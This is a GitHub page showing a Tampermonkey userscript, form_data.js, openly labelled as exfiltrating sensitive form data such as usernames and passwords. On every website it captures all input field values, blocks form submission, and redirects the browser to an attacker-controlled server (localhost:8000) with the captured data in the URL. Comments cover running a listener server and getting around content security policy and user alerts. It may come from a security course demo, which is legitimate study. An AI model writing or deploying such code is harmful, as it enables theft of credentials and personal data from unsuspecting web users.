forked from mumawQAQ/14828
-
Notifications
You must be signed in to change notification settings - Fork 0
/
form_data.js
48 lines (46 loc) · 1.89 KB
/
form_data.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// ==UserScript==
// @name Exfiltrating sensitive form data, e.g. username, passwords
// @namespace http://tampermonkey.net/
// @version 0.1
// @description get all the form data and send to attacker website
// @author Guangrui Wang
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @require https://code.jquery.com/jquery-latest.js
// @match *://*/*
// @grant none
// ==/UserScript==
/**
* You can copy this script to your tampermonkey and run it on any website
* You also need to run a server to receive the data
* For example, you can run a python server by using the following command
* python -m SimpleHTTPServer 8000
*/
// this import jquery to env
let $ = window.jQuery;
// storage all input information
let input = [];
let name = [];
(function() {
'use strict';
//getAllInputs();
// Watch the input change event
$("input").change(function() {
let currInput = $(this).val();
let currName = $(this).attr("name");
input.push(currInput);
name.push(currName);
console.log(currInput + ": " + currName);
//restrict by csp, can't send ajax and can't used img src to request, for example
//$("body").append(`<img src="http://localhost:8000/name?" + ${name} + "/input?" + ${input}">`)
});
// change all the button to redirection my website
// this part can also change to GM_xmlhttpRequest to send ajax, but it will alert the user before grant access
// to avoid this, you can use the following code to send ajax
// To see the example of usage of GM_xmlhttpRequest, please check the cookie.js
$("button").click(function(e){
// prevent form submition
e.preventDefault();
// redirect to attacker website with all the information it gets
location.href = `http://localhost:8000/name?${name}/input?${input}`;
})
})();